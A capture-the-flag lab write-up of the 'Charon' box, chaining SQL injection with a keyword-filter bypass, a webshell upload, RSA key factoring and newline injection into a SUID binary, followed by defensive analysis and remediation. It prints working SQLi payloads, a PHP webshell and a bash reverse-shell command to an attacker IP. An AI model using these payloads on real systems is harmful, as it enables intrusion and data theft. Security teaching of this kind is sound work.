Overview
Charon is a hard-rated Linux box running Ubuntu 16.04 with a “Frozen Yogurt Shop” web application backed by MySQL. The attack chain spans five distinct phases, each requiring a different skill: UNION-based SQL injection on the blog, a second SQL injection on a CMS password reset form with keyword filter bypass, file upload abuse via a hidden base64-encoded form field, RSA private key reconstruction from a trivially small 256-bit public key, and command injection through a SUID binary that fails to filter newline characters.
This box rewards patience and methodical enumeration. Each phase builds on the previous one, and there are no shortcuts. The RSA factorisation step is particularly instructive: it demonstrates why key size matters and why 256-bit RSA is equivalent to no encryption at all.
Reconnaissance
I start with a standard service scan:
nmap -sC -sV -oA scans/charon 10.129.12.221
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 | Ubuntu 16.04 |
| 80 | HTTP | Apache 2.4.18 | Frozen Yogurt Shop |
Two services, both consistent with Ubuntu 16.04. OpenSSH 7.2p2 maps specifically to Xenial. The attack surface is the web application; SSH with no credentials is a dead end.
Web Application
The site is a static-looking template for a frozen yoghurt shop. Browsing
through it, the URL singlepost.php?id= immediately stands out as a SQL
injection candidate: a numeric parameter selecting content from a database.
I run ffuf against the web root to find hidden directories:
ffuf -u http://10.129.12.221/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
This reveals /cmsdata/ containing login.php, forgot.php,
upload.php, and menu.php. A second web application behind the main
site, with its own authentication and file upload functionality.
Attack Surface Analysis
Blog SQL injection (singlepost.php)
The id parameter accepts numeric input and is vulnerable to UNION-based
injection. I enumerate columns by incrementing the column count until the
error disappears:
singlepost.php?id=0 UNION SELECT 1,2,3,4,'test'
Five columns, with column 5 reflected in an <h1> tag. I use this
injection point to extract database metadata:
singlepost.php?id=0 UNION SELECT 1,2,3,4,database()
# freeeze
singlepost.php?id=0 UNION SELECT 1,2,3,4,current_user()
# freeeze@localhost
singlepost.php?id=0 UNION SELECT 1,2,3,4,@@secure_file_priv
# /var/lib/mysql-files/
The FILE privilege is not granted, and secure_file_priv restricts file
operations to /var/lib/mysql-files/. This blocks any INTO OUTFILE
approach to write a webshell via SQL. The injection is useful for
information gathering but cannot directly deliver code execution.
I also enumerate the supercms database (visible via
information_schema.schemata), which tells me the CMS backend uses a
separate schema. The supercms.operators table contains admin credentials,
but I need the CMS injection to extract them cleanly.
CMS forgot.php SQL injection
The /cmsdata/forgot.php endpoint accepts an email address and queries the
supercms.operators table. A single quote in the email field triggers a
MySQL error, confirming unescaped input reaching the query. Two obstacles
stand between me and exploitation:
- The input requires email format validation (must contain
@and a domain). - The keyword
union select(lowercase) is filtered and rejected.
I bypass both simultaneously. Appending -- @charon.htb satisfies the
email format check (the @ is present), while the SQL comment (--)
prevents the domain suffix from reaching the query parser. Mixed case
(UnIoN SeLeCt) bypasses the case-sensitive keyword filter, because SQL
keywords are case-insensitive by specification:
' UnIoN SeLeCt 1,2,3,4-- @charon.htb
The query has 4 columns. Column 2 is reflected in the “Email sent to:” response message, giving me a data exfiltration channel. I extract the operator credentials:
' UnIoN SeLeCt 1,CONCAT(username,0x3a,password),3,4 FROM supercms.operators-- @charon.htb
super_cms_adm : 0b0689ba94f94533400f4decd87fa260
The MD5 hash cracks instantly with crackstation.net: tamarro. No salting,
no key stretching. MD5 for password storage was considered broken well
before 2016.
Vulnerability Analysis
The application has two distinct SQL injection vulnerabilities, each in a
different codebase (blog vs CMS). Both share the same root cause: string
concatenation of user input into SQL queries without parameterisation. The
blog uses the freeeze database user; the CMS uses supercms. Separate
credentials, identical vulnerability class.
The CMS injection is more interesting because of its filter bypass
requirements. The keyword filter checks for the exact lowercase string
union select. This is CWE-178 (Improper Handling of Case) layered on top
of CWE-89: the developer recognised the SQL injection risk and attempted
mitigation, but the mitigation itself is flawed. A case-sensitive check
against a case-insensitive language provides zero protection. Mixed case is
only one bypass; URL encoding, inline comments (UN/**/ION), and double
encoding would also defeat this filter.
| Attribute | Blog SQLi | CMS SQLi |
|---|---|---|
| CWE | CWE-89 (SQL Injection) | CWE-89 + CWE-178 (Case Handling) |
| Type | UNION-based | UNION-based with filter bypass |
| Impact | Database read (no FILE privilege) | CMS credential extraction |
| Prerequisite | None | None |
Exploitation
Phase 1: CMS admin access
With the cracked credentials (super_cms_adm:tamarro), I log into the
CMS at /cmsdata/login.php. The dashboard is minimal: a menu editor and
an upload form at upload.php.
Phase 2: file upload bypass
The upload form accepts image files. Standard upload attempts with .php
extensions are rejected. Inspecting the form HTML reveals a hidden input
field with a base64-encoded name: dGVzdGZpbGUx, which decodes to
testfile1. This field is not visible in the rendered form but is
submitted with every upload request.
The server-side logic uses this hidden field to determine the output
filename. Setting its value to shell.php causes the server to save the
uploaded content with a .php extension, completely bypassing the
extension validation applied to the standard file input. The validation
checks the wrong field.
I craft a PHP webshell with a GIF magic byte header to bypass any content-type validation:
GIF89a<?php echo system($_GET["c"]); ?>
The GIF89a prefix satisfies finfo_file() and similar magic-byte
checks, which only inspect the first few bytes. The PHP interpreter
ignores everything before the <?php tag.
curl -X POST http://10.129.12.221/cmsdata/upload.php \
-b "PHPSESSID=<session>" \
-F "[email protected];type=image/gif" \
-F "dGVzdGZpbGUx=shell.php"
The shell lands at /images/shell.php:
curl "http://10.129.12.221/images/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Code execution as www-data. I upgrade to a proper reverse shell:
curl "http://10.129.12.221/images/shell.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.X/9001+0>%261'"
Phase 3: user credentials via RSA factorisation
Enumerating the filesystem as www-data, I find two files in
/home/decoder/: decoder.pub (an RSA public key) and pass.crypt
(32 bytes of encrypted data). Both are world-readable.
Extracting the public key modulus:
openssl rsa -pubin -in decoder.pub -text -noout
The key is only 256 bits. For context, NIST SP 800-57 recommends a minimum of 2048 bits. A 256-bit RSA modulus can be factored in milliseconds on commodity hardware. The General Number Field Sieve, the fastest known algorithm for factoring large integers, handles numbers of this size trivially. Even trial division would work within seconds.
I submit the modulus to factordb.com (or use msieve locally):
n = 85161183100445121230463008656121855194098040675901982832345153586114585729131
p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049
With p and q known, I reconstruct the private key. The standard RSA relationship holds: d = e^(-1) mod (p-1)(q-1), where e = 65537 (the standard public exponent).
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
key = RSA.construct((n, e, d, p, q))
with open("decoder.key", "wb") as f:
f.write(key.export_key())
Decrypting pass.crypt with the reconstructed private key (PKCS#1 v1.5
padding):
from Crypto.Cipher import PKCS1_v1_5
with open("decoder.key", "rb") as f:
key = RSA.import_key(f.read())
with open("pass.crypt", "rb") as f:
ct = f.read()
cipher = PKCS1_v1_5.new(key)
pt = cipher.decrypt(ct, sentinel=b"FAIL")
print(pt.decode())
# nevermindthebollocks
SSH as decoder:
ssh [email protected]
# Password: nevermindthebollocks
User flag obtained.
Phase 4: privilege escalation via SUID binary newline injection
I search for SUID binaries:
find / -perm -4000 -type f 2>/dev/null
A non-standard binary exists at /usr/local/bin/supershell, owned by
root:freeeze with permissions rwsr-x---. The decoder user is in the
freeeze group, so I can execute it. The restricted group permissions
mean this binary is intentionally scoped to specific users.
I analyse the binary’s behaviour with ltrace:
ltrace /usr/local/bin/supershell "test"
The validation logic follows three steps:
strcspnchecks input against a character blacklist:|, backtick,&,>,<,',",\,[,],{,},;,#strncmpverifies the first 7 characters match/bin/ls- If both checks pass, the input is passed to
system()
The developer accounted for 14 shell metacharacters but missed the newline
character (\n, 0x0a). When system() receives a string containing a
newline, it passes it to /bin/sh -c, which interprets the newline as a
command separator. This is functionally identical to a semicolon.
I cannot type a literal newline on the command line easily, so I use printf to construct the payload:
/usr/local/bin/supershell "$(printf '/bin/ls\ncat /root/root.txt')"
The system() call executes both commands sequentially as root: first
/bin/ls (which satisfies the prefix check and produces harmless output),
then cat /root/root.txt.
Root flag obtained.
Post-Exploitation
The web application uses two separate MySQL accounts:
- Blog:
freeeze:fr2424z - CMS:
supercms:sx2424
Both share a similar password pattern (xx2424x), suggesting a single
administrator who reuses password templates. In a production environment,
these credentials would warrant immediate rotation and a broader credential
audit across the organisation.
The web root is at /var/www/html/freeeze/ rather than the default
/var/www/html/, which explains why the blog and CMS share the same
virtual host but use different database backends. The CMS is a custom PHP
application with no framework, which accounts for the manual SQL query
construction throughout.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1190 | WAF with SQL injection signatures; parameterised queries |
| Credential Access | T1552.001 | File integrity monitoring on RSA key material |
| Execution | T1059.004 | auditd on shell spawns from Apache processes |
| Persistence | T1078.003 | SSH authentication monitoring for decoder account |
| Privilege Escalation | T1068 | SUID binary audit; input validation review |
The SQL injection filter on forgot.php is a cautionary tale about
blocklist-based security. The filter checks for the exact lowercase string
union select and nothing else. A WAF operating at the same level would
catch this trivially with case-insensitive pattern matching, but the real
fix is parameterised queries, which render the filter unnecessary entirely.
The upload vulnerability is harder to detect at the network level because the request appears to be a normal image upload. Detection here requires application-level controls: validating the output filename server-side regardless of client-supplied parameters, and storing uploads outside the web root.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Use parameterised queries for all SQL statements | Medium | Critical |
| P0 | Remove the hidden base64 upload field; validate server-side only | Low | Critical |
| P0 | Replace the supershell binary with a sudoers entry for /bin/ls | Low | Critical |
| P1 | Replace 256-bit RSA keys with 2048-bit minimum | Low | High |
| P1 | Audit all SUID binaries on the system | Medium | High |
| P1 | Rotate all database and SSH credentials | Low | High |
| P2 | Store uploads outside the web root; serve via a separate domain | Medium | Medium |
| P2 | Remove the case-sensitive SQL keyword filter | Low | Low |
| P3 | Upgrade Ubuntu 16.04 to a supported release | High | Medium |
The SUID binary’s input validation is a textbook example of the denylist
problem. The developer thought of 14 dangerous characters but missed
newline. Denylists are inherently incomplete because they require
anticipating every dangerous input. The correct approach is an allowlist:
permit only characters known safe for the intended use case. /bin/ls
arguments need only alphanumerics, forward slash, hyphen, dot, and space.
Better still, replace the SUID binary entirely: a sudoers rule granting
decoder passwordless access to /bin/ls achieves the same functionality
without custom code.
The P0 on the upload form deserves emphasis. The hidden field design suggests the developer intended it as a testing mechanism or backdoor. Regardless of intent, any upload endpoint where the client controls the output filename is a remote code execution vulnerability. Server-side upload handling should generate filenames independently, strip all extensions, and store files outside the document root.
Key Takeaways
-
Case-sensitive security filters are not security filters. SQL is case-insensitive by specification. A filter that blocks
union selectbut allowsUnIoN SeLeCtprovides zero protection. This same principle applies to XSS filters, path traversal checks, and any other string-matching security control. If you must filter (and you usually should not, because the correct fix is parameterised queries or contextual output encoding), match case-insensitively at minimum. -
256-bit RSA is not encryption. Modern integer factorisation algorithms can decompose a 256-bit semiprime in milliseconds. NIST SP 800-57 sets the floor at 2048 bits. Keys below 1024 bits have been practically factorable since the early 2000s. The presence of a 256-bit key on this box is artificial, but I have encountered 512-bit and 1024-bit keys in production environments during assessments.
-
Newline is a command separator. When
system()is called with user-controlled input, newline characters function identically to semicolons. Input validation for shell commands must account for\n,\r,\0, and all other control characters. The broader lesson: if you are building a denylist of dangerous characters for shell input, you have already lost. Useexecve()with an argument array instead ofsystem(), which invokes/bin/shand inherits all of its parsing behaviour. -
Hidden form fields are not access controls. The base64-encoded field name in the upload form is security through obscurity. Any attacker who views the page source and decodes the base64 value gains full control over the upload path. Server-side validation that cannot be influenced by client-supplied parameters is the only reliable approach.